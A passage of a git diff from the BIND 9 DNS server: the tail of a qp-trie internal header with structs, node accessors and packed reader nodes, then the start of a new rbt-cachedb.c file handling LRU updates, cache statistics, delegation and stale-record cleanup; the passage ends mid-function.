+#define QP_VALID(qp)	  ISC_MAGIC_VALID(qp, QP_MAGIC)
+#define QPITER_VALID(qp)  ISC_MAGIC_VALID(qp, QPITER_MAGIC)
+#define QPMULTI_VALID(qp) ISC_MAGIC_VALID(qp, QPMULTI_MAGIC)
+#define QPBASE_VALID(qp)  ISC_MAGIC_VALID(qp, QPBASE_MAGIC)
+#define QPRCU_VALID(qp)	  ISC_MAGIC_VALID(qp, QPRCU_MAGIC)
+
+/*
+ * Polymorphic initialization of the `dns_qpreader_t` prefix.
+ *
+ * The location of the root node is actually a qp_ref_t, but is
+ * declared in DNS_QPREADER_FIELDS as uint32_t to avoid leaking too
+ * many internal details into the public API.
+ *
+ * The `uctx` and `methods` support callbacks into the user's code.
+ * They are constant after initialization.
+ */
+#define QP_INIT(qp, m, x)                 \
+	(*(qp) = (typeof(*(qp))){         \
+		 .magic = QP_MAGIC,       \
+		 .root_ref = INVALID_REF, \
+		 .uctx = x,               \
+		 .methods = m,            \
+	 })
+
+/*
+ * Snapshots have some extra cleanup machinery.
+ *
+ * Originally, a snapshot was basically just a `dns_qpread_t`
+ * allocated on the heap, with the extra behaviour that memory
+ * reclamation is suppressed for a particular trie while it has any
+ * snapshots. However that design gets into trouble for a zone with
+ * frequent updates and many zone transfers.
+ *
+ * Instead, each snapshot records which chunks it needs. When a
+ * snapshot is created, it makes a copy of the `base` array, except
+ * for chunks that are empty and waiting to be reclaimed. When a
+ * snapshot is destroyed, we can traverse the list of snapshots to
+ * accurately mark which chunks are still needed.
+ *
+ * A snapshot's `whence` pointer helps ensure that a `dns_qpsnap_t`is
+ * not muddled up with the wrong `dns_qpmulti_t`.
+ *
+ * A trie's `base` array might have grown after the snapshot was
+ * created, so it records its own `chunk_max`.
+ */
+struct dns_qpsnap {
+	DNS_QPREADER_FIELDS;
+	dns_qpmulti_t *whence;
+	uint32_t chunk_max;
+	ISC_LINK(struct dns_qpsnap) link;
+};
+
+/*
+ * Read-write access to a qp-trie requires extra fields to support the
+ * allocator and garbage collector.
+ *
+ * Bare instances of a `struct dns_qp` are used for stand-alone
+ * single-threaded tries. For multithreaded access, a `dns_qpmulti_t`
+ * wraps a `dns_qp_t` with a mutex and other fields that are only needed
+ * at the start or end of a transaction.
+ *
+ * Allocations are made sequentially in the `bump` chunk. A sequence
+ * of lightweight write transactions can use the same `bump` chunk, so
+ * its prefix before `fender` is immutable, and the rest is mutable.
+ *
+ * To decide when to compact and reclaim space, QP_MAX_GARBAGE() examines
+ * the values of `used_count`, `free_count`, and `hold_count`. The
+ * `hold_count` tracks nodes that need to be retained while readers are
+ * using them; they are free but cannot be reclaimed until the transaction
+ * has committed, so the `hold_count` is discounted from QP_MAX_GARBAGE()
+ * during a transaction.
+ *
+ * There are some flags that alter the behaviour of write transactions.
+ *
+ *  - The `transaction_mode` indicates whether the current transaction is a
+ *    light write or a heavy update, or (between transactions) the previous
+ *    transaction's mode, because the setup for the next transaction
+ *    depends on how the previous one committed. The mode is set at the
+ *    start of each transaction. It is QP_NONE in a single-threaded qp-trie
+ *    to detect if part of a `dns_qpmulti_t` is passed to dns_qp_destroy().
+ *
+ *  - The `compact_all` flag is used when every node in the trie should be
+ *    copied. (Usually compation aims to avoid moving nodes out of
+ *    unfragmented chunks.) It is used when compaction is explicitly
+ *    requested via `dns_qp_compact()`, and as an emergency mechanism if
+ *    normal compaction failed to clear the QP_MAX_GARBAGE() condition.
+ *    (This emergency is a bug even tho we have a rescue mechanism.)
+ *
+ *  - When a qp-trie is destroyed while it has pending cleanup work, its
+ *    `destroy` flag is set so that it is destroyed by the reclaim worker.
+ *    (Because items cannot be removed from the middle of the cleanup list.)
+ *
+ *  - When built with fuzzing support, we can use mprotect() and munmap()
+ *    to ensure that incorrect memory accesses cause fatal errors. The
+ *    `write_protect` flag must be set straight after the `dns_qpmulti_t`
+ *    is created, then left unchanged.
+ *
+ * Some of the dns_qp_t fields are only needed for multithreaded transactions
+ * (marked [MT] below) but the same code paths are also used for single-
+ * threaded writes.
+ */
+struct dns_qp {
+	DNS_QPREADER_FIELDS;
+	/*% memory context (const) */
+	isc_mem_t *mctx;
+	/*% array of per-chunk allocation counters */
+	qp_usage_t *usage;
+	/*% number of slots in `chunk` and `usage` arrays */
+	qp_chunk_t chunk_max;
+	/*% which chunk is used for allocations */
+	qp_chunk_t bump;
+	/*% nodes in the `bump` chunk below `fender` are read only [MT] */
+	qp_cell_t fender;
+	/*% number of leaf nodes */
+	qp_cell_t leaf_count;
+	/*% total of all usage[] counters */
+	qp_cell_t used_count, free_count;
+	/*% free cells that cannot be recovered right now */
+	qp_cell_t hold_count;
+	/*% what kind of transaction was most recently started [MT] */
+	enum { QP_NONE, QP_WRITE, QP_UPDATE } transaction_mode : 2;
+	/*% compact the entire trie [MT] */
+	bool compact_all : 1;
+	/*% optionally when compiled with fuzzing support [MT] */
+	bool write_protect : 1;
+};
+
+/*
+ * Concurrent access to a qp-trie.
+ *
+ * The `reader` pointer provides wait-free access to the current version
+ * of the trie. See the "packed reader nodes" section below for a
+ * description of what it points to.
+ *
+ * The main object under the protection of the mutex is the `writer`
+ * containing all the allocator state. There can be a backup copy when
+ * we want to be able to rollback an update transaction.
+ *
+ * There is a `reader_ref` which corresponds to the `reader` pointer
+ * (`ref_ptr(multi->reader_ref) == multi->reader`). The `reader_ref` is
+ * necessary when freeing the space used by the reader, because there
+ * isn't a good way to recover a qp_ref_t from a qp_node_t pointer.
+ *
+ * There is a per-trie list of snapshots that is used for reclaiming
+ * memory when a snapshot is destroyed.
+ *
+ * Finally, we maintain a global list of `dns_qpmulti_t` objects that
+ * need asynchronous safe memory recovery.
+ */
+struct dns_qpmulti {
+	uint32_t magic;
+	/*% RCU-protected pointer to current packed reader */
+	qp_node_t *reader;
+	/*% the mutex protects the rest of this structure */
+	isc_mutex_t mutex;
+	/*% ref_ptr(writer, reader_ref) == reader */
+	qp_ref_t reader_ref;
+	/*% the main working structure */
+	dns_qp_t writer;
+	/*% saved allocator state to support rollback */
+	dns_qp_t *rollback;
+	/*% all snapshots of this trie */
+	ISC_LIST(dns_qpsnap_t) snapshots;
+};
+
+/***********************************************************************
+ *
+ *  interior node constructors and accessors
+ */
+
+/*
+ * See the comments under "interior node basics" above, which explain
+ * the layout of nodes as implemented by the following functions.
+ *
+ * These functions are (mostly) constructors and getters. Imagine how
+ * much less code there would be if C had sum types with control over
+ * the layout...
+ */
+
+/*
+ * Get the 64-bit word of a node.
+ */
+static inline uint64_t
+node64(qp_node_t *n) {
+	uint64_t lo = n->biglo;
+	uint64_t hi = n->bighi;
+	return (lo | (hi << 32));
+}
+
+/*
+ * Get the 32-bit word of a node.
+ */
+static inline uint32_t
+node32(qp_node_t *n) {
+	return (n->small);
+}
+
+/*
+ * Create a node from its parts
+ */
+static inline qp_node_t
+make_node(uint64_t big, uint32_t small) {
+	return ((qp_node_t){
+		.biglo = (uint32_t)(big),
+		.bighi = (uint32_t)(big >> 32),
+		.small = small,
+	});
+}
+
+/*
+ * Extract a pointer from a node's 64 bit word. The double cast is to avoid
+ * a warning about mismatched pointer/integer sizes on 32 bit systems.
+ */
+static inline void *
+node_pointer(qp_node_t *n) {
+	return ((void *)(uintptr_t)(node64(n) & ~TAG_MASK));
+}
+
+/*
+ * Examine a node's tag bits
+ */
+static inline uint32_t
+node_tag(qp_node_t *n) {
+	return (n->biglo & TAG_MASK);
+}
+
+/*
+ * simplified for the hot path
+ */
+static inline bool
+is_branch(qp_node_t *n) {
+	return (n->biglo & BRANCH_TAG);
+}
+
+/* leaf nodes *********************************************************/
+
+/*
+ * Get a leaf's pointer value.
+ */
+static inline void *
+leaf_pval(qp_node_t *n) {
+	return (node_pointer(n));
+}
+
+/*
+ * Get a leaf's integer value
+ */
+static inline uint32_t
+leaf_ival(qp_node_t *n) {
+	return (node32(n));
+}
+
+/*
+ * Create a leaf node from its parts
+ */
+static inline qp_node_t
+make_leaf(const void *pval, uint32_t ival) {
+	qp_node_t leaf = make_node((uintptr_t)pval, ival);
+	REQUIRE(node_tag(&leaf) == LEAF_TAG);
+	return (leaf);
+}
+
+/* branch nodes *******************************************************/
+
+/*
+ * The following function names use plural `twigs` when they work on a
+ * branch's twigs vector as a whole, and singular `twig` when they work on
+ * a particular twig.
+ */
+
+/*
+ * Get a branch node's index word
+ */
+static inline uint64_t
+branch_index(qp_node_t *n) {
+	return (node64(n));
+}
+
+/*
+ * Get a reference to a branch node's child twigs.
+ */
+static inline qp_ref_t
+branch_twigs_ref(qp_node_t *n) {
+	return (node32(n));
+}
+
+/*
+ * Bit positions in the bitmap come directly from the key. DNS names are
+ * converted to keys using the tables declared at the end of this file.
+ */
+static inline qp_shift_t
+qpkey_bit(const dns_qpkey_t key, size_t len, size_t offset) {
+	if (offset < len) {
+		return (key[offset]);
+	} else {
+		return (SHIFT_NOBYTE);
+	}
+}
+
+/*
+ * Extract a branch node's offset field, used to index the key.
+ */
+static inline size_t
+branch_key_offset(qp_node_t *n) {
+	return ((size_t)(branch_index(n) >> SHIFT_OFFSET));
+}
+
+/*
+ * Which bit identifies the twig of this node for this key?
+ */
+static inline qp_shift_t
+branch_keybit(qp_node_t *n, const dns_qpkey_t key, size_t len) {
+	return (qpkey_bit(key, len, branch_key_offset(n)));
+}
+
+/*
+ * Get a pointer to a branch node's twigs vector.
+ */
+static inline qp_node_t *
+branch_twigs_vector(dns_qpreadable_t qpr, qp_node_t *n) {
+	return (ref_ptr(qpr, branch_twigs_ref(n)));
+}
+
+/*
+ * Warm up the cache while calculating which twig we want.
+ */
+static inline void
+prefetch_twigs(dns_qpreadable_t qpr, qp_node_t *n) {
+	__builtin_prefetch(branch_twigs_vector(qpr, n));
+}
+
+/* root node **********************************************************/
+
+/*
+ * Get a pointer to the root node, checking if the trie is empty.
+ */
+static inline qp_node_t *
+get_root(dns_qpreadable_t qpr) {
+	dns_qpreader_t *qp = dns_qpreader(qpr);
+	if (qp->root_ref == INVALID_REF) {
+		return (NULL);
+	} else {
+		return (ref_ptr(qp, qp->root_ref));
+	}
+}
+
+/*
+ * When we need to move the root node, we avoid repeating allocation
+ * logistics by making a temporary fake branch node that has
+ *	`branch_twigs_size() == 1 && branch_twigs_ref() == root_ref`
+ * just enough to treat the root node as a vector of one twig.
+ */
+#define MOVABLE_ROOT(qp)                                   \
+	(&(qp_node_t){                                     \
+		.biglo = BRANCH_TAG | (1 << SHIFT_NOBYTE), \
+		.small = qp->root_ref,                     \
+	})
+
+/***********************************************************************
+ *
+ *  bitmap popcount shenanigans
+ */
+
+/*
+ * How many twigs appear in the vector before the one corresponding to the
+ * given bit? Calculated using popcount of part of the branch's bitmap.
+ *
+ * To calculate a mask that covers the lesser bits in the bitmap,
+ * we subtract 1 to set all lesser bits, and subtract the tag mask
+ * because the type tag is not part of the bitmap.
+ */
+static inline qp_weight_t
+branch_count_bitmap_before(qp_node_t *n, qp_shift_t bit) {
+	uint64_t mask = (1ULL << bit) - 1 - TAG_MASK;
+	uint64_t bitmap = branch_index(n) & mask;
+	return ((qp_weight_t)__builtin_popcountll(bitmap));
+}
+
+/*
+ * How many twigs does this branch have?
+ *
+ * The offset is directly after the bitmap so the offset's lesser bits
+ * covers the whole bitmap, and the bitmap's weight is the number of twigs.
+ */
+static inline qp_weight_t
+branch_twigs_size(qp_node_t *n) {
+	return (branch_count_bitmap_before(n, SHIFT_OFFSET));
+}
+
+/*
+ * Position of a twig within the packed sparse vector.
+ */
+static inline qp_weight_t
+branch_twig_pos(qp_node_t *n, qp_shift_t bit) {
+	return (branch_count_bitmap_before(n, bit));
+}
+
+/*
+ * Get a pointer to a particular twig.
+ */
+static inline qp_node_t *
+branch_twig_ptr(dns_qpreadable_t qpr, qp_node_t *n, qp_shift_t bit) {
+	return (branch_twigs_vector(qpr, n) + branch_twig_pos(n, bit));
+}
+
+/*
+ * Is the twig identified by this bit present?
+ */
+static inline bool
+branch_has_twig(qp_node_t *n, qp_shift_t bit) {
+	return (branch_index(n) & (1ULL << bit));
+}
+
+/* twig logistics *****************************************************/
+
+static inline void
+move_twigs(qp_node_t *to, qp_node_t *from, qp_weight_t size) {
+	memmove(to, from, size * sizeof(qp_node_t));
+}
+
+static inline void
+zero_twigs(qp_node_t *twigs, qp_weight_t size) {
+	memset(twigs, 0, size * sizeof(qp_node_t));
+}
+
+/***********************************************************************
+ *
+ *  packed reader nodes
+ */
+
+/*
+ * The purpose of these packed reader nodes is to simplify safe memory
+ * reclamation for a multithreaded qp-trie.
+ *
+ * After the `reader` pointer in a qpmulti is replaced, we need to wait
+ * for a grace period before we can reclaim the memory that is no longer
+ * needed by the trie. So we need some kind of structure to hold
+ * pointers to the (logically) detached memory until it is safe to free.
+ * This memory includes the chunks and the `base` arrays.
+ *
+ * Packed reader nodes save us from having to track `dns_qpread_t`
+ * objects as distinct allocations: the packed reader nodes get
+ * reclaimed when the the chunk containing their cells is reclaimed.
+ * When a real `dns_qpread_t` object is needed, it is allocated on the
+ * stack (it must not live longer than a isc_loop callback) and the
+ * packed reader is unpacked into it.
+ *
+ * Chunks are owned by the current `base` array, so unused chunks are
+ * held there until they are free()d. Old `base` arrays are attached
+ * to packed reader nodes with a refcount. When a chunk is reclaimed,
+ * it is scanned so that `chunk_free()` can call `detach_leaf()` on
+ * any remaining references to leaf objects. Similarly, it calls
+ * `qpbase_unref()` to reclaim old `base` arrays.
+ */
+
+/*
+ * Two nodes is just enough space for the information needed by
+ * readers and for deferred memory reclamation.
+ */
+#define READER_SIZE 2
+
+/*
+ * Create a packed reader; space for the reader should have been
+ * allocated using `alloc_twigs(&multi->writer, READER_SIZE)`.
+ */
+static inline void
+make_reader(qp_node_t *reader, dns_qpmulti_t *multi) {
+	dns_qp_t *qp = &multi->writer;
+	reader[0] = make_node(READER_TAG | (uintptr_t)multi, QPREADER_MAGIC);
+	reader[1] = make_node(READER_TAG | (uintptr_t)qp->base, qp->root_ref);
+}
+
+static inline bool
+reader_valid(qp_node_t *reader) {
+	return (reader != NULL && //
+		node_tag(&reader[0]) == READER_TAG &&
+		node_tag(&reader[1]) == READER_TAG &&
+		node32(&reader[0]) == QPREADER_MAGIC);
+}
+
+/*
+ * Verify and unpack a reader. We return the `multi` pointer to use in
+ * consistency checks.
+ */
+static inline dns_qpmulti_t *
+unpack_reader(dns_qpreader_t *qp, qp_node_t *reader) {
+	INSIST(reader_valid(reader));
+	dns_qpmulti_t *multi = node_pointer(&reader[0]);
+	dns_qpbase_t *base = node_pointer(&reader[1]);
+	INSIST(QPMULTI_VALID(multi));
+	INSIST(QPBASE_VALID(base));
+	*qp = (dns_qpreader_t){
+		.magic = QP_MAGIC,
+		.uctx = multi->writer.uctx,
+		.methods = multi->writer.methods,
+		.root_ref = node32(&reader[1]),
+		.base = base,
+	};
+	return (multi);
+}
+
+/***********************************************************************
+ *
+ *  method invocation helpers
+ */
+
+static inline void
+attach_leaf(dns_qpreadable_t qpr, qp_node_t *n) {
+	dns_qpreader_t *qp = dns_qpreader(qpr);
+	qp->methods->attach(qp->uctx, leaf_pval(n), leaf_ival(n));
+}
+
+static inline void
+detach_leaf(dns_qpreadable_t qpr, qp_node_t *n) {
+	dns_qpreader_t *qp = dns_qpreader(qpr);
+	qp->methods->detach(qp->uctx, leaf_pval(n), leaf_ival(n));
+}
+
+static inline size_t
+leaf_qpkey(dns_qpreadable_t qpr, qp_node_t *n, dns_qpkey_t key) {
+	dns_qpreader_t *qp = dns_qpreader(qpr);
+	size_t len = qp->methods->makekey(key, qp->uctx, leaf_pval(n),
+					  leaf_ival(n));
+	INSIST(len < sizeof(dns_qpkey_t));
+	return (len);
+}
+
+static inline char *
+triename(dns_qpreadable_t qpr, char *buf, size_t size) {
+	dns_qpreader_t *qp = dns_qpreader(qpr);
+	qp->methods->triename(qp->uctx, buf, size);
+	return (buf);
+}
+
+#define TRIENAME(qp) \
+	triename(qp, (char[DNS_QP_TRIENAME_MAX]){}, DNS_QP_TRIENAME_MAX)
+
+/***********************************************************************
+ *
+ *  converting DNS names to trie keys
+ */
+
+/*
+ * This is a deliberate simplification of the hostname characters,
+ * because it doesn't matter much if we treat a few extra characters
+ * favourably: there is plenty of space in the index word for a
+ * slightly larger bitmap.
+ */
+static inline bool
+qp_common_character(uint8_t byte) {
+	return (('-' <= byte && byte <= '9') || ('_' <= byte && byte <= 'z'));
+}
+
+/*
+ * Lookup table mapping bytes in DNS names to bit positions, used
+ * by dns_qpkey_fromname() to convert DNS names to qp-trie keys.
+ */
+extern uint16_t dns_qp_bits_for_byte[];
+
+/*
+ * And the reverse, mapping bit positions to characters, so the tests
+ * can print diagnostics involving qp-trie keys.
+ */
+extern uint8_t dns_qp_byte_for_bit[];
+
+/**********************************************************************/
diff --git a/lib/dns/rbt-cachedb.c b/lib/dns/rbt-cachedb.c
new file mode 100644
index 0000000000..d57eb2a6cc
--- /dev/null
+++ b/lib/dns/rbt-cachedb.c
@@ -0,0 +1,1693 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+/*! \file */
+
+#include <inttypes.h>
+#include <stdbool.h>
+#include <sys/mman.h>
+
+#include <isc/ascii.h>
+#include <isc/async.h>
+#include <isc/atomic.h>
+#include <isc/crc64.h>
+#include <isc/file.h>
+#include <isc/hash.h>
+#include <isc/hashmap.h>
+#include <isc/heap.h>
+#include <isc/hex.h>
+#include <isc/loop.h>
+#include <isc/mem.h>
+#include <isc/mutex.h>
+#include <isc/once.h>
+#include <isc/random.h>
+#include <isc/refcount.h>
+#include <isc/result.h>
+#include <isc/rwlock.h>
+#include <isc/serial.h>
+#include <isc/stdio.h>
+#include <isc/string.h>
+#include <isc/time.h>
+#include <isc/urcu.h>
+#include <isc/util.h>
+
+#include <dns/callbacks.h>
+#include <dns/db.h>
+#include <dns/dbiterator.h>
+#include <dns/fixedname.h>
+#include <dns/log.h>
+#include <dns/masterdump.h>
+#include <dns/nsec.h>
+#include <dns/nsec3.h>
+#include <dns/rbt.h>
+#include <dns/rdata.h>
+#include <dns/rdataset.h>
+#include <dns/rdatasetiter.h>
+#include <dns/rdataslab.h>
+#include <dns/rdatastruct.h>
+#include <dns/stats.h>
+#include <dns/time.h>
+#include <dns/view.h>
+#include <dns/zone.h>
+#include <dns/zonekey.h>
+
+#include "rbtdb_p.h"
+
+#define CHECK(op)                            \
+	do {                                 \
+		result = (op);               \
+		if (result != ISC_R_SUCCESS) \
+			goto failure;        \
+	} while (0)
+
+/*%
+ * Whether to rate-limit updating the LRU to avoid possible thread contention.
+ * Updating LRU requires write locking, so we don't do it every time the
+ * record is touched - only after some time passes.
+ */
+#ifndef DNS_RBTDB_LIMITLRUUPDATE
+#define DNS_RBTDB_LIMITLRUUPDATE 1
+#endif
+
+/*% Time after which we update LRU for glue records, 5 minutes */
+#define DNS_RBTDB_LRUUPDATE_GLUE 300
+/*% Time after which we update LRU for all other records, 10 minutes */
+#define DNS_RBTDB_LRUUPDATE_REGULAR 600
+
+#define EXISTS(header)                                 \
+	((atomic_load_acquire(&(header)->attributes) & \
+	  DNS_SLABHEADERATTR_NONEXISTENT) == 0)
+#define NONEXISTENT(header)                            \
+	((atomic_load_acquire(&(header)->attributes) & \
+	  DNS_SLABHEADERATTR_NONEXISTENT) != 0)
+#define NXDOMAIN(header)                               \
+	((atomic_load_acquire(&(header)->attributes) & \
+	  DNS_SLABHEADERATTR_NXDOMAIN) != 0)
+#define STALE(header)                                  \
+	((atomic_load_acquire(&(header)->attributes) & \
+	  DNS_SLABHEADERATTR_STALE) != 0)
+#define NEGATIVE(header)                               \
+	((atomic_load_acquire(&(header)->attributes) & \
+	  DNS_SLABHEADERATTR_NEGATIVE) != 0)
+#define ZEROTTL(header)                                \
+	((atomic_load_acquire(&(header)->attributes) & \
+	  DNS_SLABHEADERATTR_ZEROTTL) != 0)
+#define ANCIENT(header)                                \
+	((atomic_load_acquire(&(header)->attributes) & \
+	  DNS_SLABHEADERATTR_ANCIENT) != 0)
+#define STATCOUNT(header)                              \
+	((atomic_load_acquire(&(header)->attributes) & \
+	  DNS_SLABHEADERATTR_STATCOUNT) != 0)
+
+#define STALE_TTL(header, rbtdb) \
+	(NXDOMAIN(header) ? 0 : rbtdb->common.serve_stale_ttl)
+
+#define ACTIVE(header, now) \
+	(((header)->ttl > (now)) || ((header)->ttl == (now) && ZEROTTL(header)))
+
+#define KEEPSTALE(rbtdb) ((rbtdb)->common.serve_stale_ttl > 0)
+
+/*%
+ * Routines for LRU-based cache management.
+ */
+
+/*%
+ * See if a given cache entry that is being reused needs to be updated
+ * in the LRU-list.  From the LRU management point of view, this function is
+ * expected to return true for almost all cases.  When used with threads,
+ * however, this may cause a non-negligible performance penalty because a
+ * writer lock will have to be acquired before updating the list.
+ * If DNS_RBTDB_LIMITLRUUPDATE is defined to be non 0 at compilation time, this
+ * function returns true if the entry has not been updated for some period of
+ * time.  We differentiate the NS or glue address case and the others since
+ * experiments have shown that the former tends to be accessed relatively
+ * infrequently and the cost of cache miss is higher (e.g., a missing NS records
+ * may cause external queries at a higher level zone, involving more
+ * transactions).
+ *
+ * Caller must hold the node (read or write) lock.
+ */
+static bool
+need_headerupdate(dns_slabheader_t *header, isc_stdtime_t now) {
+	if (DNS_SLABHEADER_GETATTR(header, (DNS_SLABHEADERATTR_NONEXISTENT |
+					    DNS_SLABHEADERATTR_ANCIENT |
+					    DNS_SLABHEADERATTR_ZEROTTL)) != 0)
+	{
+		return (false);
+	}
+
+#if DNS_RBTDB_LIMITLRUUPDATE
+	if (header->type == dns_rdatatype_ns ||
+	    (header->trust == dns_trust_glue &&
+	     (header->type == dns_rdatatype_a ||
+	      header->type == dns_rdatatype_aaaa)))
+	{
+		/*
+		 * Glue records are updated if at least DNS_RBTDB_LRUUPDATE_GLUE
+		 * seconds have passed since the previous update time.
+		 */
+		return (header->last_used + DNS_RBTDB_LRUUPDATE_GLUE <= now);
+	}
+
+	/*
+	 * Other records are updated if DNS_RBTDB_LRUUPDATE_REGULAR seconds
+	 * have passed.
+	 */
+	return (header->last_used + DNS_RBTDB_LRUUPDATE_REGULAR <= now);
+#else
+	UNUSED(now);
+
+	return (true);
+#endif /* if DNS_RBTDB_LIMITLRUUPDATE */
+}
+
+/*%
+ * Update the timestamp of a given cache entry and move it to the head
+ * of the corresponding LRU list.
+ *
+ * Caller must hold the node (write) lock.
+ *
+ * Note that the we do NOT touch the heap here, as the TTL has not changed.
+ */
+static void
+update_header(dns_rbtdb_t *rbtdb, dns_slabheader_t *header, isc_stdtime_t now) {
+	INSIST(IS_CACHE(rbtdb));
+
+	/* To be checked: can we really assume this? XXXMLG */
+	INSIST(ISC_LINK_LINKED(header, link));
+
+	ISC_LIST_UNLINK(rbtdb->lru[HEADER_NODE(header)->locknum], header, link);
+	header->last_used = now;
+	ISC_LIST_PREPEND(rbtdb->lru[HEADER_NODE(header)->locknum], header,
+			 link);
+}
+
+/*
+ * Locking
+ *
+ * If a routine is going to lock more than one lock in this module, then
+ * the locking must be done in the following order:
+ *
+ *      Tree Lock
+ *
+ *      Node Lock       (Only one from the set may be locked at one time by
+ *                       any caller)
+ *
+ *      Database Lock
+ *
+ * Failure to follow this hierarchy can result in deadlock.
+ */
+
+/*
+ * Deleting Nodes
+ *
+ * For zone databases the node for the origin of the zone MUST NOT be deleted.
+ */
+
+/*
+ * DB Routines
+ */
+
+static void
+update_cachestats(dns_rbtdb_t *rbtdb, isc_result_t result) {
+	INSIST(IS_CACHE(rbtdb));
+
+	if (rbtdb->cachestats == NULL) {
+		return;
+	}
+
+	switch (result) {
+	case DNS_R_COVERINGNSEC:
+		isc_stats_increment(rbtdb->cachestats,
+				    dns_cachestatscounter_coveringnsec);
+		FALLTHROUGH;
+	case ISC_R_SUCCESS:
+	case DNS_R_CNAME:
+	case DNS_R_DNAME:
+	case DNS_R_DELEGATION:
+	case DNS_R_NCACHENXDOMAIN:
+	case DNS_R_NCACHENXRRSET:
+		isc_stats_increment(rbtdb->cachestats,
+				    dns_cachestatscounter_hits);
+		break;
+	default:
+		isc_stats_increment(rbtdb->cachestats,
+				    dns_cachestatscounter_misses);
+	}
+}
+
+static void
+clean_stale_headers(dns_slabheader_t *top) {
+	dns_slabheader_t *d = NULL, *down_next = NULL;
+
+	for (d = top->down; d != NULL; d = down_next) {
+		down_next = d->down;
+		dns_slabheader_destroy(&d);
+	}
+	top->down = NULL;
+}
+
+static isc_result_t
+setup_delegation(rbtdb_search_t *search, dns_dbnode_t **nodep,
+		 dns_name_t *foundname, dns_rdataset_t *rdataset,
+		 dns_rdataset_t *sigrdataset DNS__DB_FLARG) {
+	dns_name_t *zcname = NULL;
+	dns_typepair_t type;
+	dns_rbtnode_t *node = NULL;
+
+	REQUIRE(search != NULL);
+	REQUIRE(search->zonecut != NULL);
+	REQUIRE(search->zonecut_header != NULL);
+
+	/*
+	 * The caller MUST NOT be holding any node locks.
+	 */
+
+	node = search->zonecut;
+	type = search->zonecut_header->type;
+
+	/*
+	 * If we have to set foundname, we do it before anything else.
+	 * If we were to set foundname after we had set nodep or bound the
+	 * rdataset, then we'd have to undo that work if dns_name_copy()
+	 * failed.  By setting foundname first, there's nothing to undo if
+	 * we have trouble.
+	 */
+	if (foundname != NULL && search->copy_name) {
+		zcname = dns_fixedname_name(&search->zonecut_name);
+		dns_name_copy(zcname, foundname);
+	}
+	if (nodep != NULL) {
+		/*
+		 * Note that we don't have to increment the node's reference
+		 * count here because we're going to use the reference we
+		 * already have in the search block.
+		 */
+		*nodep = node;
+		search->need_cleanup = false;
+	}
+	if (rdataset != NULL) {
+		isc_rwlocktype_t nlocktype = isc_rwlocktype_none;
+		NODE_RDLOCK(&(search->rbtdb->node_locks[node->locknum].lock),
+			    &nlocktype);
+		dns__rbtdb_bindrdataset(search->rbtdb, node,
+					search->zonecut_header, search->now,
+					isc_rwlocktype_read,
+					rdataset DNS__DB_FLARG_PASS);
+		if (sigrdataset != NULL && search->zonecut_sigheader != NULL) {
+			dns__rbtdb_bindrdataset(
+				search->rbtdb, node, search->zonecut_sigheader,
+				search->now, isc_rwlocktype_read,
+				sigrdataset DNS__DB_FLARG_PASS);
+		}
+		NODE_UNLOCK(&(search->rbtdb->node_locks[node->locknum].lock),
+			    &nlocktype);
+	}
+
+	if (type == dns_rdatatype_dname) {
+		return (DNS_R_DNAME);
+	}
+	return (DNS_R_DELEGATION);
+}
+
+static bool
+check_stale_header(dns_rbtnode_t *node, dns_slabheader_t *header,
+		   isc_rwlocktype_t *nlocktypep, isc_rwlock_t *lock,
+		   rbtdb_search_t *search, dns_slabheader_t **header_prev) {
+	if (!ACTIVE(header, search->now)) {
+		dns_ttl_t stale = header->ttl +
+				  STALE_TTL(header, search->rbtdb);
+		/*
+		 * If this data is in the stale window keep it and if
+		 * DNS_DBFIND_STALEOK is not set we tell the caller to
+		 * skip this record.  We skip the records with ZEROTTL
+		 * (these records should not be cached anyway).
+		 */
+
+		DNS_SLABHEADER_CLRATTR(header, DNS_SLABHEADERATTR_STALE_WINDOW);
+		if (!ZEROTTL(header) && KEEPSTALE(search->rbtdb) &&
+		    stale > search->now)
+		{
+			dns__rbtdb_mark(header, DNS_SLABHEADERATTR_STALE);
+			*header_prev = header;
+			/*
+			 * If DNS_DBFIND_STALESTART is set then it means we
+			 * failed to resolve the name during recursion, in
+			 * this case we mark the time in which the refresh
+			 * failed.
+			 */
+			if ((search->options & DNS_DBFIND_STALESTART) != 0) {
+				atomic_store_release(
+					&header->last_refresh_fail_ts,
+					search->now);
+			} else if ((search->options &
+				    DNS_DBFIND_STALEENABLED) != 0 &&
+				   search->now <
+					   (atomic_load_acquire(
+						    &header->last_refresh_fail_ts) +
+					    search->rbtdb->serve_stale_refresh))
+			{
+				/*
+				 * If we are within interval between last
+				 * refresh failure time + 'stale-refresh-time',
+				 * then don't skip this stale entry but use it
+				 * instead.
+				 */
+				DNS_SLABHEADER_SETATTR(
+					header,
+					DNS_SLABHEADERATTR_STALE_WINDOW);
+				return (false);
+			} else if ((search->options &
+				    DNS_DBFIND_STALETIMEOUT) != 0)
+			{
+				/*
+				 * We want stale RRset due to timeout, so we
+				 * don't skip it.
+				 */
+				return (false);
+			}
+			return ((search->options & DNS_DBFIND_STALEOK) == 0);
+		}
+
+		/*
+		 * This rdataset is stale.  If no one else is using the
+		 * node, we can clean it up right now, otherwise we mark
+		 * it as ancient, and the node as dirty, so it will get
+		 * cleaned up later.
+		 */
+		if ((header->ttl < search->now - RBTDB_VIRTUAL) &&
+		    (*nlocktypep == isc_rwlocktype_write ||
+		     NODE_TRYUPGRADE(lock, nlocktypep) == ISC_R_SUCCESS))
+		{
+			/*
+			 * We update the node's status only when we can
+			 * get write access; otherwise, we leave others
+			 * to this work.  Periodical cleaning will
+			 * eventually take the job as the last resort.
+			 * We won't downgrade the lock, since other
+			 * rdatasets are probably stale, too.
+			 */
+
+			if (isc_refcount_current(&node->references) == 0) {
+				/*
+				 * header->down can be non-NULL if the
+				 * refcount has just decremented to 0
+				 * but dns__rbtdb_decref() has not
+				 * performed clean_cache_node(), in
+				 * which case we need to purge the stale
+				 * headers first.
+				 */
+				clean_stale_headers(header);
+				if (*header_prev != NULL) {
+					(*header_prev)->next = header->next;
+				} else {
+					node->data = header->next;
+				}
+				dns_slabheader_destroy(&header);
+			} else {
+				dns__rbtdb_mark(header,
+						DNS_SLABHEADERATTR_ANCIENT);
+				HEADER_NODE(header)->dirty = 1;
